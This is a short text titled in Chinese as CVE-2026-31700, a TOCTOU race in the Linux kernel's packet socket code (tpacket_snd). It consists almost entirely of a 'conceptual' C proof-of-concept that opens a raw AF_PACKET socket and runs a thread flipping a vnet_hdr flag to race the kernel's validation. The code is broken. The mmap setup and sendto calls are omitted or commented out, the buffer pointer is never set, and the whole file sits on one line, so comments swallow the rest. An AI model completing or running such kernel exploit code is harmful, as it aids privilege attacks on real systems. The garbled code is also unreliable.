CVE-2026-31700 Linux内核net/packet TOCTOU竞争条件漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <arpa/inet.h> #include <sys/mman.h> #include <pthread.h> // Conceptual PoC for CVE-2026-31700 // This demonstrates the race condition in tpacket_snd() struct ring_buffer { struct tpacket_hdr_v1 *h1; struct virtio_net_hdr *vnet_hdr; }; struct ring_buffer *rb; void *race_thread(void *arg) { while (1) { // Continuously modify the vnet_hdr in the mmap'd ring buffer // attempting to change it between validation and use. if (rb && rb->vnet_hdr) { // Toggle a bit that might pass initial validation but cause issues later rb->vnet_hdr->flags ^= 0x01; } } return NULL; } int main() { int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) return 1; int version = TPACKET_V3; setsockopt(sock, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); // 1. Setup mmap (omitted for brevity, assume rb->vnet_hdr is mapped) // rb = mmap(...); pthread_t tid; pthread_create(&tid, NULL, race_thread, NULL); // 2. Send packets rapidly to trigger the race in tpacket_snd() while (1) { // Prepare a valid header initially // rb->vnet_hdr->flags = 0; // sendto(sock, ...); // Triggers tpacket_snd() } return 0; }